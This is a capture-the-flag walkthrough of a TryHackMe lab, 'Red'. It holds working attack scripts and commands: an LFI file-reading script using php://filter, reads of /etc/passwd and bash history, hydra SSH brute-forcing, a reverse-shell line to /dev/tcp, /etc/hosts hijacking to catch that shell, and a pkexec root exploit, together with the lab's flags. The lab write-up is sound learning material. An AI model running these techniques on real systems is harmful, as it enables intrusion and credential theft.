# Red

> **Intructions**
>
> The match has started, and Red has taken the lead on you.
>
> But you are Blue, and only you can take Red down.
>
> However, Red has implemented some defense mechanisms that will make the battle a bit difficult:
>
> 1. Red has been known to kick adversaries out of the machine. Is there a way around it?
>
> 2. Red likes to change adversaries' passwords but tends to keep them relatively the same.
>
> 3. Red likes to taunt adversaries in order to throw off their focus. Keep your mind sharp!This is a unique battle, and if you feel up to the challenge. Then by all means go for it!
>
> Whenever you are ready, click on the **Start Machine** button to fire up the Virtual Machine.

## Enumeration

```
┌──(kali㉿kali)-[~]
└─$ sudo nmap -p- --min-rate 5000 -Pn 10.10.156.164
[sudo] password for kali:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-21 21:26 EDT
Nmap scan report for 10.10.156.164
Host is up (0.19s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 14.20 seconds
```

```
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sC -sV -A -T4 -Pn -p 22,80 10.10.156.164
[sudo] password for kali:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-21 21:27 EDT
Nmap scan report for 10.10.156.164
Host is up (0.19s latency).
```

```
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 e2741ce0f7864d6946f65b4dbec39f76 (RSA)
|   256 fb8473da6cfeb9195a6c654dd1723bb0 (ECDSA)
|_  256 5e3775fcb364e2d8d6bc9ae67e604d3c (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-title: Atlanta - Free business bootstrap template
|_Requested resource was /index.php?page=home.html
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASU
S RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Adtran 424RG FTTH gateway (92%), Linux 2.6.32 (92%), Linux 3.1
 - 3.2 (92%), Linux 3.11 (92%), Linux 3.2 - 4.9 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 22/tcp)
HOP RTT       ADDRESS
1   186.31 ms 10.8.0.1
2   186.41 ms 10.10.156.164

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.33 seconds
```

## Initiate Foothold

I create my own script to scan through the files at parameter `?page=` and use this wordlist:

```
import requests

url = "http://10.10.156.164/index.php?page="

wordlist = open("/home/kali/wordlists/files.txt", "r")


for param in wordlist:
  response = requests.get(url + param.strip())
  if len(response.text) != 0 and len(response.text) != 15757:
    print(f"Param: {param.strip()}")
    print(f"Response code: {response.status_code}")
    print(f"Length: {len(response.text)}")
    print("------------------------")
```

Output:

```
┌──(kali㉿kali)-[~/SublimeText]
└─$ python3 sendRequest.py
Param: index.php
Response code: 200
Length: 351
------------------------
Param: about.html
Response code: 200
Length: 9309
------------------------
Param: readme.md
Response code: 200
```

```
Length: 675
------------------------
Param: readme.txt
Response code: 200
Length: 675
------------------------
Param: contact.html
Response code: 200
Length: 7505
------------------------
```

I route to `index.php` and found this script inside:

```
<?php

function sanitize_input($param) {
    $param1 = str_replace("../","",$param);
    $param2 = str_replace("./","",$param1);
    return $param2;
}

$page = $_GET['page'];
if (isset($page) && preg_match("/^[a-z]/", $page)) {
    $page = sanitize_input($page);
    readfile($page);
} else {
    header('Location: /index.php?page=home.html');
}

?>
```

At the script above, it filtered the input parameters by removing the `../` characters and continue with `./` . After all, if the input could bypass the **sanitize** step, it will `readfile()` and return the content inside it.

Googling about **LFI** (local file inclusion). I would modify my script with this wordlist:

```
import requests


url = "http://10.10.156.164/index.php?page="

wordlist = open("/home/kali/wordlists/file_inclusion_linux.txt", "r")

for param in wordlist:
  print(f"Sending: {param.strip()}")
  response = requests.get(url + param.strip())
  if len(response.text) != 0 and len(response.text) != 15757:
    print(f"Param: {param.strip()}")
    print(f"Response code: {response.status_code}")
    print(f"Length: {len(response.text)}")
    print(f"File Content: \n{response.text}")
    print("------------------------")
```

Unfortunately, this technique does not work as expect. Therefore, I use another technique called **PHP Filter**. First of all, I test with the previous result:

```
┌──(kali㉿kali)-[~/wordlists]
└─$ curl http://10.10.174.11/index.php?page=php://filter/convert.base64-encode/resource=index.php | base64 -d
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
```

```
                                 Dload  Upload   Total   Spent    Left  Speed
100   468  100   468    0     0   1252      0 --:--:-- --:--:-- --:--:--  1254
<?php

function sanitize_input($param) {
    $param1 = str_replace("../","",$param);
    $param2 = str_replace("./","",$param1);
    return $param2;
}

$page = $_GET['page'];
if (isset($page) && preg_match("/^[a-z]/", $page)) {
    $page = sanitize_input($page);
    readfile($page);
} else {
    header('Location: /index.php?page=home.html');
}

?>
```

Ok, it worked! Modify the script:

```
import requests
import base64

url = "http://{IP_ADDRESS}/index.php?page=php://filter/convert.base64-encode/resource="

file_input = input("File input: ")
print(f"Sending request: {url + file_input.strip()}")

try:
  response = requests.get(url + file_input.strip(), timeout=2.5)
  if response:
    print("File content: \n")
    content_decode = base64.b64decode(response.text)
    print(content_decode.decode('utf-8'))
except requests.exceptions.RequestException as e:
  raise SystemExit(e)
except requests.exceptions.Timeout:
  print("Timeout!")
except KeyboardInterrupt:
  print("Bye!")
```

Output:

```
┌──(kali㉿kali)-[~/SublimeText]
└─$ python3 fli.py
File input: /etc/passwd
Sending request: http://10.10.174.11/index.php?page=php://filter/convert.base64-encode/resource=/etc/passwd
File content:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
```

```
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
blue:x:1000:1000:blue:/home/blue:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
red:x:1001:1001::/home/red:/bin/bash
```

The script worked

## Exploit

There are 2 users on this server: `blue` and `red` (not include `root`) → I look through their `.bash_history`:

```
┌──(kali㉿kali)-[~/SublimeText]
└─$ python3 fli.py
File input: /home/red/.bash_history
Sending request: http://10.10.174.11/index.php?page=php://filter/convert.base64-encode/resource=/home/red/.bash_hi
story
File content:



┌──(kali㉿kali)-[~/SublimeText]
└─$ python3 fli.py
File input: /home/blue/.bash_history
Sending request: http://10.10.174.11/index.php?page=php://filter/convert.base64-encode/resource=/home/blue/.bash_h
istory
File content:

echo "Red rules"
cd
hashcat --stdout .reminder -r /usr/share/hashcat/rules/best64.rule > passlist.txt
cat passlist.txt
rm passlist.txt
sudo apt-get remove hashcat -y
```

The `blue` user used **hashcat** to generate a password list using the `.reminder` file which contains the password hash or hashes and use tag `-r` to specify the rule for this password lists.

Overall, user `blue` generated a list of password from an input file called `.reminder`. Therefore, we have to get the content of that file to generate the same password list of `blue`

```
┌──(kali㉿kali)-[~/SublimeText]
└─$ python3 fli.py
File input: /home/blue/.reminder
Sending request: http://10.10.174.11/index.php?page=php://filter/convert.base64-encode/resource=/home/blue/.remind
er
File content:

sup3r_p@s$w0rd!
```

## Gain Access

On the local machine, create a file name `.reminder` with the same content as the one on the target machine we have found in the previous. Then, use **hashcat** and execute the same command as `blue` to generate the password list:

```
┌──(kali㉿kali)-[~/TryHackMe]
└─$ echo "sup3r_p@s\$w0rd\!" > red/.reminder

┌──(kali㉿kali)-[~/TryHackMe/red]
└─$ cat .reminder
sup3r_p@s$w0rd!

┌──(kali㉿kali)-[~/TryHackMe/red]
└─$ hashcat --stdout .reminder -r /usr/share/hashcat/rules/best64.rule > passlist.txt

┌──(kali㉿kali)-[~/TryHackMe/red]
└─$ ls -la
total 16
drwxr-xr-x  2 kali kali 4096 Jul 21 22:52 .
drwxr-xr-x 36 kali kali 4096 Jul 21 22:51 ..
-rw-r--r--  1 kali kali 1114 Jul 21 22:53 passlist.txt
-rw-r--r--  1 kali kali   16 Jul 21 22:52 .reminder
```

After the password list is generated. Use **hydra** to crack the password to login through **SSH** with the password list.

```
┌──(kali㉿kali)-[~/TryHackMe/red]
└─$ hydra -l "blue" -P passlist.txt ssh://10.10.174.11
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizat
ions, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-07-21 22:54:37
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -
t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 77 login tries (l:1/p:77), ~5 tries per task
[DATA] attacking ssh://10.10.174.11:22/
[22][ssh] host: 10.10.174.11   login: blue   password: !dr0w$s@p_r3pus
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 1 final worker threads did not complete until end.
[ERROR] 1 target did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-07-21 22:54:44
```

After that, use the previous password cracked to login to the target server as user `blue` and get the first flag:

```
blue@red:~$ ls -la
total 40
drwxr-xr-x 4 root blue 4096 Aug 14  2022 .
drwxr-xr-x 4 root root 4096 Aug 14  2022 ..
-rw-r--r-- 1 blue blue  166 Jul 22 02:34 .bash_history
-rw-r--r-- 1 blue blue  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 blue blue 3771 Feb 25  2020 .bashrc
drwx------ 2 blue blue 4096 Aug 13  2022 .cache
-rw-r----- 1 root blue   34 Aug 14  2022 flag1
-rw-r--r-- 1 blue blue  807 Feb 25  2020 .profile
-rw-r--r-- 1 blue blue   16 Aug 14  2022 .reminder
drwx------ 2 root blue 4096 Aug 13  2022 .ssh
blue@red:~$ cat flag1
THM{Is_thAt_all_y0u_can_d0_blU3?}
```

## Privilege Escalation → red

While trying to escalate privilege, you might get this trouble which kicks you out of the machine and automatically changes the password of user `blue`. Don't worry, just re-run the **hydra** to get a new password and login again.

```
blue@red:~$ "red"Say Bye Bye to your Shell Blue and that password
Connection to 10.10.89.217 closed by remote host.
Connection to 10.10.89.217 closed.
```

Then I use `ps -aux` to list all the processes running on the system and found this one.

```
blue@red:~$ ps -aux | grep "red"
red        13308  0.0  0.1   6972  2680 ?        S    01:27   0:00 bash -c nohup bash -i >& /dev/tcp/redrules.thm/
9001 0>&1 &
red        13353  0.0  0.1   6972  2692 ?        S    01:28   0:00 bash -c nohup bash -i >& /dev/tcp/redrules.thm/
9001 0>&1 &
```

The above command executed by `red` user which establish a reverse shell to the IP address of `redrules.thm` on port `9001`. Let's figure out what IP address is assigned to `redrules.thm`:

```
blue@red:~$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 red
192.168.0.1 redrules.thm

# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouter
```

I start `Netcat Listener` on the local machine and execute this command on the target machine to append a new IP address which is my own IP address and assign it to `redrules.thm`:

```
blue@red:~$ echo "10.8.97.213 redrules.thm" | tee -a /etc/hosts
10.8.97.213 redrules.thm
blue@red:~$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 red
192.168.0.1 redrules.thm

# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouter
10.8.97.213 redrules.thm
```

After a while, I got the connect shell to the target machine as user `red`

```
red@red:~$ cat flag2
cat flag2
THM{Y0u_won't_mak3_IT_furTH3r_th@n_th1S}
```

## Privilege Escalation → Root

Despite of the `flag2`, let find out is there potential files or directories in the current directory:

```
red@red:~$ ls -la
ls -la
total 36
drwxr-xr-x 4 root red  4096 Aug 17  2022 .
drwxr-xr-x 4 root root 4096 Aug 14  2022 ..
lrwxrwxrwx 1 root root    9 Aug 14  2022 .bash_history -> /dev/null
-rw-r--r-- 1 red  red   220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 red  red  3771 Feb 25  2020 .bashrc
drwx------ 2 red  red  4096 Aug 14  2022 .cache
-rw-r----- 1 root red    41 Aug 14  2022 flag2
drwxr-x--- 2 red  red  4096 Aug 14  2022 .git
-rw-r--r-- 1 red  red   807 Aug 14  2022 .profile
-rw-rw-r-- 1 red  red    75 Aug 14  2022 .selected_editor
-rw------- 1 red  red     0 Aug 17  2022 .viminfo
```

`.git` might be exploitable → Get into it and find out

```
red@red:~$ cd .git
cd .git
red@red:~/.git$ ls -la
ls -la
total 40
drwxr-x--- 2 red  red   4096 Aug 14  2022 .
drwxr-xr-x 4 root red   4096 Aug 17  2022 ..
-rwsr-xr-x 1 root root 31032 Aug 14  2022 pkexec
```

The `pkexec` is set with `SUID` → Check its version:

```
red@red:~/.git$ ./pkexec --version
./pkexec --version
pkexec version 0.105
```

Googling the **pkexec** with version **0.105** and I found the exploit script from this source. Before creating an exploit binary with the original script from the source, you have to focus on the last line which is:

```
libc.execve(b'/usr/bin/pkexec', c_char_p(None), environ_p)
```

The above script run the `pkexec` from the default path `/usr/bin/pkexec`. But in out situation, the vulnerable `pkexec` with `SUID` is located in `/home/red/.git` directory. For that, change it to this one:

```
libc.execve(b'/home/red/.git/pkexec', c_char_p(None), environ_p)
```

Using `vim`, `nano` is not available in the current state. So, let's use `tee` with this option:

```
red@red:~/.git$ tee -a <<EOF >exploit.py
> #!/usr/bin/env python3
[REDACTED...]
> print('[+] Calling execve()')
>
# Call execve() with NULL arguments
> libc.execve(b'/home/red/.git/pkexec', c_char_p(None), environ_p)
> EOF
```

Don't forget to `chmod +x` to the **exploit.py.** Then execute the file:

```
red@red:~/.git$ python3 exploit.py
python3 exploit.py

id
uid=0(root) gid=1001(red) groups=1001(red)
whoami
root
pwd
/home/red/.git
cd /root
ls -la
total 40
drwx------  6 root root 4096 Apr 24 22:33 .
drwxr-xr-x 19 root root 4096 Aug 13  2022 ..
lrwxrwxrwx  1 root root    9 Aug 14  2022 .bash_history -> /dev/null
-rw-r--r--  1 root root 3106 Dec  5  2019 .bashrc
drwx------  2 root root 4096 Aug 13  2022 .cache
-rw-r--r--  1 root root  161 Dec  5  2019 .profile
-rw-r--r--  1 root root   75 Aug 14  2022 .selected_editor
drwx------  2 root root 4096 Aug 13  2022 .ssh
-rw-------  1 root root    0 Apr 24 22:33 .viminfo
drwxr-xr-x  2 root root 4096 Apr 24 22:32 defense
-rw-r-----  1 root root   23 Aug 14  2022 flag3
drwx------  3 root root 4096 Aug 13  2022 snap
cat flag3
THM{Go0d_Gam3_Blu3_GG}
```